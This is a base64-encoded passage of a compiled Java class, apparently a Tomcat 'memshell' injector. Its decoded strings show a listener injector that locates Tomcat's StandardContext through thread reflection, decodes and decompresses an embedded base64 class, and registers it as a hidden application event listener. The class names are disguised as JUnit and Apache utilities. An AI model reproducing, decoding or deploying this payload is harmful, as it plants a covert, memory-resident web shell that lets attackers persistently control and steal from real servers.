aXN0OwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlBwFKBwEqBwFLBwD1AQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcBHgcA9wcBAAEACkV4Y2VwdGlvbnMHAUwBAAlTaWduYXR1cmUBACYoKUxqYXZhL3V0aWwvTGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEAC2dldExpc3RlbmVyAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAljbGF6ekJ5dGUBAAJbQgEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAVjbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47BwEXBwEhAQALYWRkTGlzdGVuZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBAA9hcHBMaXN0ZW5lckxpc3QBAAxhcHBMaXN0ZW5lcnMBABNbTGphdmEvbGFuZy9PYmplY3Q7AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgEAAW8BAA1ldmlsQ2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHb2JqZWN0cwEACWxpc3RlbmVycwEACWFycmF5TGlzdAEAFUxqYXZhL3V0aWwvQXJyYXlMaXN0OwcBLwcA9gEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgcBTQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCAQAOY29tcHJlc3NlZERhdGEBAANvdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQACaW4BAB5MamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbTsBAAZ1bmd6aXABAB9MamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW07AQAGYnVmZmVyAQABbgEAAUkHATQHATUHATcHAU4BAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQADb2JqAQAJZmllbGROYW1lAQAEZ2V0RgEAPyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247BwEYBwE/AQANc2V0RmllbGRWYWx1ZQEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEABXZhbHVlAQAMaW52b2tlTWV0aG9kAQAMdGFyZ2V0T2JqZWN0AQAKbWV0aG9kTmFtZQEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAAWkBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEABm1ldGhvZAEACXRlbXBDbGFzcwcBTwcA3QcBRwcBSAEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEAG1RvbWNhdExpc3RlbmVySW5qZWN0b3IuamF2YQEAAAwAcwB0DACBAIIMAVABUQcBSwwBUgFTDAFUAVUMAJUAlgwAogCjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE2phdmEvdXRpbC9BcnJheUxpc3QBABBqYXZhL2xhbmcvVGhyZWFkAQAKZ2V0VGhyZWFkcwwA1wDKDAFWAGwBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yDAFXAVgBAAZ0YXJnZXQMAMkAygEABnRoaXMkMAEAEWphdmEvdXRpbC9IYXNoTWFwDAFZAVoHAVsMAVwAlgwBXQFeAQAPU3RhbmRhcmRDb250ZXh0DAFfAWABABVUb21jYXRFbWJlZGRlZENvbnRleHQMAWEBYgwBYwBsAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcgEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIBAAlyZXNvdXJjZXMBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAcwFkDAFlAWYMAWcBYgwAawBsDAFoAWkMAWoBVQwAcgBsDACyALMMALkAugEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAD2phdmEvbGFuZy9DbGFzcwcBawwBbACcDAFtAW4HAU8MAW8BcAEAEGphdmEvbGFuZy9PYmplY3QMAXEBcgwBcwF0AQATamF2YS9sYW5nL1Rocm93YWJsZQwApwCoAQAgYXBwbGljYXRpb25FdmVudExpc3RlbmVyc09iamVjdHMHAXUMAXYBdwwAcwF4DAF5AXoMANQA1QEAHWFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnNMaXN0AQAOamF2YS91dGlsL0xpc3QBABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBewFpAQAMZGVjb2RlQnVmZmVyAQAQamF2YS9sYW5nL1N0cmluZwwBfAFuAQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIBAAZkZWNvZGUBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0MAHMBfQEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtDABzAX4MAX8BgAwBgQGCDAGDAYQMAM8A0AcBhQwBhgGHAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uDAGIAV4MAHMBiQwBigCjDADXANoMAYsBjAwBjQFgDAGOAY8BAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24MAZAAbAEAQ2NvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdExpc3RlbmVySW5qZWN0b3IBABJqYXZhL3V0aWwvSXRlcmF0b3IBACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7AQAHaGFzTmV4dAEAAygpWgEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEAA2dldAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAA2FkZAEAFShMamF2YS9sYW5nL09iamVjdDspWgEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAh0b1N0cmluZwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldENsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvdXRpbC9BcnJheXMBAAZhc0xpc3QBACUoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS91dGlsL0xpc3Q7AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgEAB3RvQXJyYXkBABUoKVtMamF2YS9sYW5nL09iamVjdDsBAAdmb3JOYW1lAQAJZ2V0TWV0aG9kAQAFKFtCKVYBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAt0b0J5dGVBcnJheQEABCgpW0IBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1nZXRTdXBlcmNsYXNzAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQADc2V0AQASZ2V0RGVjbGFyZWRNZXRob2RzAQAdKClbTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZlcXVhbHMBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7AQAKZ2V0TWVzc2FnZQEAHG9yZy9qdW5pdC9qdXBpdGVyL0luamVjdFV0aWwHAZEBACZvcmcuYXBhY2hlLnV0aWxzLkNvbW1vbkpha2FydGFMaXN0ZW5lcggBkwEQYEg0c0lBQUFBQUFBQUFLMVllWFJVMVIzK2JtYVNONWs4bGt3Z0VCWWhyTWxra29FQUlTUUJ5VUpZVE1JU3dBTG5WRjhtTDhuQUxISG1EWkJVN1diMzJzV3U5S2hka2RxcXhWWW1SS3JTRnFXMVZtdXQxVnFycmJXMXRkWFcxcXJZYXZyZDk5NU10Z0h5Unc5dzc3djMvdGJ2dDl3N1BQajIzZmNDV0NrMnV0R0NiOGpocUJ0TzNLTGdtQnNGK0thQ1crWDhMVGR5OEcwM2JzUHRjcmpEaGUvSTdlTXUzS25ndS9MemV3cnVjdU1Fa2k0TUtEaXA0SkNDUVFWM3UzQktIbi9maFh0Y3VOZUYrMXc0N2NJUHBLWWZ1dkFqTjg3Z2ZnVVA1R0lWenJveEhUOTJveGcva2RzUHl1R25ianlFbnlsNFdCSThrb2NTL0Z4K1BTcEpmK0htMTJOeTc1ZHk3M0g1OVN1NTk0UWNublRoMTNsNENyOVI4TFMwNExkeTg2Z2NucEhiejdyd084bndySUxmdTFFbmZYZml1VHhjaGo5SVljOUxCWDkwNDA5NFFSNzhXWkw4UlRLL0tBLytLdW4rNXNJUnVmT1NDemNvZUZuQjN4WDhROEFSN2x3bDRHblpyeDNVL0NFdDB1MXZOMkxCU0hldGdMTlhpOGRKY1VEdkUzRDM2RnFuSG12VHdycEFuclhZcllVU1hPWFVCU05CWXgwcFMwcDNrNjB4MnNuZEtTM0JpTjZXQ0hmb3NaMWFSMGlYU3FJQkxiUmJpd1hsMnQ1MEdqMUJLbWx1Q1VURC9waXU3ZGZpMFloZlduTkk3L0NIOVhCY0Q0WDhSalFjMEF4L2Q3U3pQeGdLYWY2TjlzY1c3WUFXTTdTV1lOelFJM3FNUnM4cUdlRktZNGdldEVTbHJiWFNOTkV2TU9NODV3S1R1bldqT2FpSE9tMi9xa2VLMnRxeFh3OFl0ZU54S2gxUFJLOE9hakhDT24vRVdWdTBQUkhvTWVWdk9CelFlNDFnTkVKS1I3UmovMmo4aDRWRVRMQ3p1eVNQUU5FSW1wamVGU0tSM3hSSDB1eEFTT3VuYy9sam5lTlo0V2pZKzNwVDBFOGJTMXpuWFNkaGFEZTB3SUZXcmRja1UvQ0tXUiszTWdYU2RqTmdhb2NXMTZ0V2JvZ0V6R2dYbHV4cktNMlVSSXB1VXNTWUpoYUhCVTZWd1BRUjVDTVJ5ZXFnK0t4OURmVHFvQXlFVlpocGpVMTZTbU9HV0VndXBWTzNOWXJ0MURMR3NCUXFXWUVPZ2R6MllIZEVNeEl4eXB1WmlkQkNSQnltVkI3dk5lV0xRTXIydy81QXJLL1hpUG9iZzcwOVpncEoxK2lob0FjaXpIOTdXYzBLL3NrQXgvU3JFbnJjMk14S0NXcWhZTC9PaUpaSUY4d0U5c2YxMk1HUWJ2amJyWG1IUmIzaG9CNHh6TXpOMFdLeHJRbERZSjVsWWpEcWIrZ3o5UHBZVE92amZtL0NJQVM2RnBiV2RnbTRZbnE4bDNHaVg5NXhPbm9NbzllL2lVTmFtVVVyb3hYWDQzR0dRV0RCaGRoTUd1bHVwMlpvQWdYeDhWWUxMSjZRYzlScFF5TlFPZ0ZUVGRKYUJmOWlrelhiMkt0TWhlNWhKNXBqMGZDT2xNQmQ0d0UrbjhTSjZFN0RKSWlydXoyYWlBWDA1cUFzcFRubmFVZ1ZNbGdxZG1LWEhQYXArRGRlRTVnNnR0aFZ2STQzQkM2NWNMZFFjUTZ2U1RsdnNpaFYvQWYvVmZFVzNyYmxWU1NNWUtpaXdhd1JGVU0wRW03aXNpRlZmcDU5NDZwQUZVSmtNWHo3eG5jZlJUaFU0UlRaQXBPdEF0NFp0V3FNalgyTW1GSCtwSWdLTXRRMkF4VlBSQ3JDd1hpZ29xRytmVU9xZThSVWtTTVU1cmh1TnhOcGQxT3FpSE02VXdVL2hqbE5vVm9VRFltdUxpbkxKWExaVnVzM3RMUHdWT0VXZVN5YVVkVWE3OVVEek1WQVREY3UwL3ZhdVZLeEhWdFZvWXBKaEZkTVZzVVVNVlVWK2NMRFBGTkZnWmdtc0hTQ2lhUmloeFExWFJTcWFKZGZNOFJNRlYvR1YxUlJKR2FwMkNiM1pzdlRkK0ZxRmUvSGRheUFYcTB2eEZ1SXlheUtPV0t1UU5QLzR6WlV4U1Zpbm9wcjhXNVZ6QmZGeExWWGkvRktNZlFZZ3piM2duMUVGUXZFUWxVc0VvdFZ0RW1UbDRpbGlpaFJSU25lVklWWGxLbkNKOUhxeFZYeXJGd1ZGVExIMzRrcjJOWW1Xa25zb3hudllvRWxGMjRkS1E5NW01L25UclF6Y0V5SEZsZzRnWjdFZS90aXZZOGRsamxxcDM5QlNhWUxacXFWeENFdHBuZmFKcFZudXJJdWNLdkxCMGw3b2xlUEJTeEYwelB4ODNLWUZOZU4ra0JBbW1hOXFVcjJ5bTBIMlFsbGhsZE14amVMMGhXMW4zZUxMMkpueXNWY0ttalZqWjRvZlZ1ZmdXZDh4OG5rclNXQjRtYWU3NHhOSUJnNUdEMUEwOVprOENaRCs4cm9ZRjVFUDdRNUVqZTBTRUMrZmtveUUzWHFYWHk0MnFHZHdWdC84K1pNdnVmUjkyRmhwZWRGYlB3YlFXYU9yTG00REpUNW9wQmFNa2ZXS1YvV2ttQ3pkUjdYQTRsWTBPanpzM0daQkVwbnREa1kwVUtFU0w1ZnBMUjhtVFdqc3BxM2VjbjQrMjNNQldpRmM1TnVGK0JGVWlEOXZuTUZvaEZEQzhvbjRleFJUKzhlTGRZdVJST2YydEs5VmxOUFY4K2lEUFprZUYrbzVObVc2bG5Xc3Q2ZzVvNkVvVi9jeG5STUo2ZHFOZFZlaXNaWGJQcFhnQm9mcFdScEJpVVo4azArMGVpdEZocGJwaW1DdlJhK2x6TjZadDlLV2NBR3ZJMUM3UU1aaFhpaUkyN2Zvb1VsbzVNdmpYcEJCbDYrbHcvSkQ4YkVTRi9XbzdNOHpaOW5STk50WHhxY1dVdGVWeWdSNzdIdVZjSWRqWFg3dFY0dDBLUDc1VnNqN20rTWhzUFJ5SmhiUnhGK0Y3YmxpbVY0bkUxd1JhQktYOVpScmEwSkxGOVZXYmxTYzRrVjh1Z3NlK3p5NVkxTlZmWFZxMWRWcjZsZXVieHFSVlhqaXRYMWpkV1ZWZldWOWN0V05qUzZSSlVrZlo2cHM0czVVbDdmemQ3c0Vtdms1aVB5aHlPejFpWHE1UEpSWGpvdEV6T3YxazM2eCtUd2hCeWVsTU5ST1R3amh4Zmw4QktLT2Jid0FkV0tiSTY4L3dETzIreDV1ejN2c09kMmM4N2xGOTk1SEhmTC82SkFGcitBRXU4QWhMZEFMRDhoS2ptdFBDRldjVnA5UWxSenFqa2hham10UFNIVzNRbVlzdmhJdENXc29vUXN6cVhlc2dGa1RWaEVxYnlEeVNoRnZBQUhIUUNxUmFzM0NVZGJ1Y2Q1RklYbFpVbGt0eDdEcEJwbmVSSksyN0doRjMxbm9aNUNaQTgxdWU3ek9aUEk5WkhCZlp5bVRFSUJDaEdCRXdjb0tSL090NkFvdUUxQnVFMUJKRmZGNWR5dWhNcHhQdFVXUThFQ01pMGkyMkl5THNGTUxNVmNsUERVeTkweWxQTlBKU3J3RGhPbGJKNW40MHBvVkVCRDBZR0E2VVkxT29rcWY2YWhDanE2T0N0WWptNzAwS1VnejFXZVdUdjd1UlBsanBNNy9Zd0NYeVNXKzBKSGp1bitZZEhpeVRzSnRkWG5tU1JPWTNJU1UzeWNweWFSMzBZRUhCNlA4eDZFOXpnODA5cDVWTTZGYzQvRHkrLzgwK2hyT1lZMWJaNFpKbnNTTTJ1Y1JVN0pValNTcGNnNWppZTd4bGwyM0l6Z1dxeW5YZlcweXVCc3dWZ0t4eEMzc3hSTVU5QUhvYUIvQ0N2Z3ROZGNtbnZuNk5Jd3ZES2xWc05GYUdaakRjWFdVMElOeHpwczVLb1Y2NmhpUFpWY2lvTm9NT0hkUkVtekdZNFlRWFdZbkhFQ21FWGFSZWFlazV6bDlsNDlFODVBZ25RRWpCSU9jYzdpZk5nTWc0UzhrR3RMeG41K1daenlheVQ0Zk5OYTZTc08yT0JmT3d6K3JJemd6N2FSN0JzUC9qVCtKWloxYlo0NVkvR2ZPNUpyRFA0MjIzQUkxcU9SMWpYUnAvN1JJV2lVSWVnajZuWUlxbVFJekhYbUVHeWtzQzBFNFRMQzJrS3hPeW1obFlLM2NuY2IvMnluaW5aeTdpQU11MGFFWURHdXNVTlFhOE85alZWeGpSbUNMVmhtN3pVUjNGUUlyaVgwVzgwUVhNMFFIQm9WZ2xvYmVJdHp2OWxwK01pM2kzNHRaY3Era2VzdGM1VGRPNEJManB0aXBCTTVaa3ZhYXhwV2FCRmhqN2pVTExoY3ZNZFU4MTZUK24zODRrOFR1eFU5U1U1Wm5qN1B2Sk9ZMzFZKzV3Z1U1ekU0czAraGVJLzNMckVxaVlXZWVRTllsTVJpMlYyV0hHOFR4NjMyUjV6NzZaQkV2RTRpUG9VSWkyVkVtT0Nla1FpZkdaTHBNMktQRVRramh0Z1dIUGFtR1FmVC9rSXpvNjZnTlZkaUlWdEdLZHVGbHlDbVdra09keitBRDFLZmx6NTh5SWJTbC9iUmh3K2JQc3F2aitDakpuRFg0eE4yeHI1R0NTNmVuYU1IUzAvanhsWWZYYXNkaERjTEQrQzU0UVUvMWlYaE80S0h2YjRCc2I3Tk40Z0tnUnFucEtnY3hMSXNuQlQxTmRuZW9teEhValRVWkJjNVBTc0dzVElMWjdGQWZwOFN5L2JJZHB4RTFZQm9MTXBPaXFaQnJISGdHSzd4ZVdxS3NnZFI2OEFwMU8wWndOcWFuRFQzYVlSbC9pdEZTbEZPRXVzdUwxSjhjaW9meEtWQzJsVHRtTXFpcWsraW9VaEpvakYxSUltYm5EVGtwTmpBczJGeVNkMXM3V3dVVk81c3U1TkF1UEFxWGsrSGJDR2NRMXprbUpGNFNNR05DbTVTOEpRc0VMeUJ2Z1laR0RNeUhZd1htSW91aERBTFlVWW1Bajg3dzJxMjQyYjJwYTNzTi91WXJKMk1TWXh6UCtOd0hSUDdlbmE3bTdtNmhaM2pkcWI2YVJiRkEwem1wNW5PTHpNalh5WFY2OHpFTnhoWEdlVWQxSEE5bS80bjhTbEcrMmJHN2RPTXYwSmQ5K01HZklabXI4WTkrQ3creDN4dHhoMzRQUFhJbkRtWHpvRnorQUsrYURyNkNvN2dTMlovNEs5enUzaSt5bGxtZXJGb0xmTnNPaW1hUFZzNG5NWk52QzhudDVXbFY3N2o1dDJVVHlCU1dMR2docmkwc2xZQ1plYXQyNFJuRm8wRmt5K0xTWmRQQjZiaFk1aU9qMk1lazArNjVhWFM2WEJUdlpXeXhXbHppMDBqcGE1NXBvTWoyNjNBMTh4aS9mci9BS1UweDJnWEdRQUEIAZUKAZIA7goBkgDzCgGSAPQBAB5Mb3JnL2p1bml0L2p1cGl0ZXIvSW5qZWN0VXRpbDsKAZIA+QoBkgD+CgGSAREKAZIBFAoBkgEVCgGSARYKAZIBIgoBkgEoCgGSATwKAZIBQwoBkgDtACEBkgCOAAAAAAAPAAEAawBsAAEAbQAAABAAAQABAAAABBMBlLAAAAAAAAEAcgBsAAEAbQAAABAAAQABAAAABBMBlrAAAAAAAAEAcwB0AAEAbQAAANgAAwAFAAAANiq3AAIqtgGXTCu5AAQBAE0suQAFAQCZABssuQAGAQBOKi23AZg6BCotGQS2AZmn/+KnAARMsQABAAQAMQA0AIAABAB8AAAAGgAE/wAQAAMHAZIHAH4HAPAAAPkAIEIHAIAAAG4AAAAmAAkAAAAkAAQAJgAJACcAIAAoACcAKQAuACoAMQAsADQAKwA1AC0AbwAAACoABAAnAAcAdQB2AAQAIAAOAHcAdgADAAkAKAB4AHkAAQAAADYAcAGaAAAAegAAAAwAAQAJACgAeAB7AAEA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